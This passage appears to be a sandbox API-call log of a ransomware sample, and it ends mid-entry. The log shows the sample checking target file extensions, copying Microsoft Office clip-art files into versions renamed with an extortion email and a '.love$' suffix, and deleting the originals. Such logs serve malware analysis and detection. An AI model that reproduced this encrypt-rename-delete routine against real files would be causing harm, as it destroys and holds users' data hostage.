lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0244.735] lstrlenW (lpString=".dbf") returned 4 [0244.735] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0244.735] lstrlenW (lpString=".1cd") returned 4 [0244.735] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0244.735] lstrlenW (lpString=".jpg") returned 4 [0244.735] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.735] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0244.735] lstrlenW (lpString="ED00019_.WMF") returned 12 [0244.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0245.054] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=13042) returned 1 [0245.054] CloseHandle (hObject=0x548) returned 1 [0245.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 0x220 [0245.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0245.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0245.058] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.059] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0245.060] GetLastError () returned 0x0 [0245.060] ReadFile (in: hFile=0x548, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x32f2, lpOverlapped=0x0) returned 1 [0245.063] WriteFile (in: hFile=0x534, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x3300, lpOverlapped=0x0) returned 1 [0245.065] ReadFile (in: hFile=0x548, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0245.065] WriteFile (in: hFile=0x534, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0245.065] SetEndOfFile (hFile=0x534) returned 1 [0245.065] CloseHandle (hObject=0x534) returned 1 [0245.065] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.066] SetEndOfFile (hFile=0x548) returned 1 [0245.071] CloseHandle (hObject=0x548) returned 1 [0245.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0245.071] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 1 [0245.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0245.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0245.073] lstrlenW (lpString=".doc") returned 4 [0245.073] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.073] lstrlenW (lpString=".docx") returned 5 [0245.073] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.073] lstrlenW (lpString=".pdf") returned 4 [0245.073] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.073] lstrlenW (lpString=".xls") returned 4 [0245.073] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.073] lstrlenW (lpString=".xlsx") returned 5 [0245.073] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.073] lstrlenW (lpString=".ppt") returned 4 [0245.073] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0245.073] lstrlenW (lpString=".zip") returned 4 [0245.073] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.074] lstrlenW (lpString=".rar") returned 4 [0245.074] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.074] lstrlenW (lpString=".bz2") returned 4 [0245.074] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.074] lstrlenW (lpString=".7z") returned 3 [0245.074] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0245.074] lstrlenW (lpString=".dbf") returned 4 [0245.074] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0245.074] lstrlenW (lpString=".1cd") returned 4 [0245.074] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0245.074] lstrlenW (lpString=".jpg") returned 4 [0245.074] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0245.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0245.075] lstrlenW (lpString=".doc") returned 4 [0245.075] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.075] lstrlenW (lpString=".docx") returned 5 [0245.075] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.075] lstrlenW (lpString=".pdf") returned 4 [0245.075] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.075] lstrlenW (lpString=".xls") returned 4 [0245.075] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.075] lstrlenW (lpString=".xlsx") returned 5 [0245.075] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.075] lstrlenW (lpString=".ppt") returned 4 [0245.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0245.075] lstrlenW (lpString=".zip") returned 4 [0245.075] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.075] lstrlenW (lpString=".rar") returned 4 [0245.075] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.076] lstrlenW (lpString=".bz2") returned 4 [0245.076] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.076] lstrlenW (lpString=".7z") returned 3 [0245.076] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0245.076] lstrlenW (lpString=".dbf") returned 4 [0245.076] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0245.076] lstrlenW (lpString=".1cd") returned 4 [0245.076] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0245.076] lstrlenW (lpString=".jpg") returned 4 [0245.076] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.076] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0245.077] lstrlenW (lpString="ED00184_.WMF") returned 12 [0245.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0245.078] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=6958) returned 1 [0245.078] CloseHandle (hObject=0x548) returned 1 [0245.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 0x220 [0245.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0245.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0245.079] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.079] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0245.080] GetLastError () returned 0x0 [0245.080] ReadFile (in: hFile=0x548, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x1b2e, lpOverlapped=0x0) returned 1 [0245.084] WriteFile (in: hFile=0x534, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1b30, lpOverlapped=0x0) returned 1 [0245.086] ReadFile (in: hFile=0x548, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0245.086] WriteFile (in: hFile=0x534, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0245.086] SetEndOfFile (hFile=0x534) returned 1 [0245.086] CloseHandle (hObject=0x534) returned 1 [0245.086] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.087] SetEndOfFile (hFile=0x548) returned 1 [0245.091] CloseHandle (hObject=0x548) returned 1 [0245.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0245.092] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 1 [0245.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0245.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0245.093] lstrlenW (lpString=".doc") returned 4 [0245.093] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.093] lstrlenW (lpString=".docx") returned 5 [0245.093] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.093] lstrlenW (lpString=".pdf") returned 4 [0245.093] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.093] lstrlenW (lpString=".xls") returned 4 [0245.094] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.094] lstrlenW (lpString=".xlsx") returned 5 [0245.094] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.094] lstrlenW (lpString=".ppt") returned 4 [0245.094] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0245.094] lstrlenW (lpString=".zip") returned 4 [0245.094] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.094] lstrlenW (lpString=".rar") returned 4 [0245.094] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.094] lstrlenW (lpString=".bz2") returned 4 [0245.094] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.094] lstrlenW (lpString=".7z") returned 3 [0245.094] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0245.094] lstrlenW (lpString=".dbf") returned 4 [0245.094] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0245.094] lstrlenW (lpString=".1cd") returned 4 [0245.094] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0245.094] lstrlenW (lpString=".jpg") returned 4 [0245.094] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0245.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0245.094] lstrlenW (lpString=".doc") returned 4 [0245.095] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.095] lstrlenW (lpString=".docx") returned 5 [0245.095] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.095] lstrlenW (lpString=".pdf") returned 4 [0245.095] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.095] lstrlenW (lpString=".xls") returned 4 [0245.095] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.095] lstrlenW (lpString=".xlsx") returned 5 [0245.095] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.095] lstrlenW (lpString=".ppt") returned 4 [0245.095] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0245.095] lstrlenW (lpString=".zip") returned 4 [0245.095] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.095] lstrlenW (lpString=".rar") returned 4 [0245.095] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.095] lstrlenW (lpString=".bz2") returned 4 [0245.095] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.095] lstrlenW (lpString=".7z") returned 3 [0245.095] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0245.095] lstrlenW (lpString=".dbf") returned 4 [0245.095] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0245.095] lstrlenW (lpString=".1cd") returned 4 [0245.095] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0245.096] lstrlenW (lpString=".jpg") returned 4 [0245.096] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.096] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0245.096] lstrlenW (lpString="EN00006_.WMF") returned 12 [0245.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0246.150] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=13936) returned 1 [0246.150] CloseHandle (hObject=0x388) returned 1 [0246.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 0x220 [0246.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0246.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0246.151] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.151] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0246.153] GetLastError () returned 0x0 [0246.153] ReadFile (in: hFile=0x388, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x3670, lpOverlapped=0x0) returned 1 [0246.171] WriteFile (in: hFile=0x548, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x3680, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x3680, lpOverlapped=0x0) returned 1 [0246.172] ReadFile (in: hFile=0x388, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0246.173] WriteFile (in: hFile=0x548, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0246.173] SetEndOfFile (hFile=0x548) returned 1 [0246.173] CloseHandle (hObject=0x548) returned 1 [0246.173] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.173] SetEndOfFile (hFile=0x388) returned 1 [0246.177] CloseHandle (hObject=0x388) returned 1 [0246.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0246.177] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 1 [0246.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0246.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0246.178] lstrlenW (lpString=".doc") returned 4 [0246.178] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.178] lstrlenW (lpString=".docx") returned 5 [0246.178] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.178] lstrlenW (lpString=".pdf") returned 4 [0246.178] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.179] lstrlenW (lpString=".xls") returned 4 [0246.179] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.179] lstrlenW (lpString=".xlsx") returned 5 [0246.179] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.179] lstrlenW (lpString=".ppt") returned 4 [0246.179] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0246.179] lstrlenW (lpString=".zip") returned 4 [0246.179] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.179] lstrlenW (lpString=".rar") returned 4 [0246.179] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.179] lstrlenW (lpString=".bz2") returned 4 [0246.179] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.179] lstrlenW (lpString=".7z") returned 3 [0246.179] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0246.179] lstrlenW (lpString=".dbf") returned 4 [0246.179] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0246.179] lstrlenW (lpString=".1cd") returned 4 [0246.179] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0246.179] lstrlenW (lpString=".jpg") returned 4 [0246.179] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0246.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0246.179] lstrlenW (lpString=".doc") returned 4 [0246.179] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.180] lstrlenW (lpString=".docx") returned 5 [0246.180] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.180] lstrlenW (lpString=".pdf") returned 4 [0246.180] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.180] lstrlenW (lpString=".xls") returned 4 [0246.180] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.180] lstrlenW (lpString=".xlsx") returned 5 [0246.180] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.180] lstrlenW (lpString=".ppt") returned 4 [0246.180] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0246.180] lstrlenW (lpString=".zip") returned 4 [0246.180] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.180] lstrlenW (lpString=".rar") returned 4 [0246.180] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.180] lstrlenW (lpString=".bz2") returned 4 [0246.180] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.180] lstrlenW (lpString=".7z") returned 3 [0246.180] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0246.180] lstrlenW (lpString=".dbf") returned 4 [0246.180] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0246.180] lstrlenW (lpString=".1cd") returned 4 [0246.180] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.180] lstrlenW (lpString="C:\\Program Files\\Microsoft 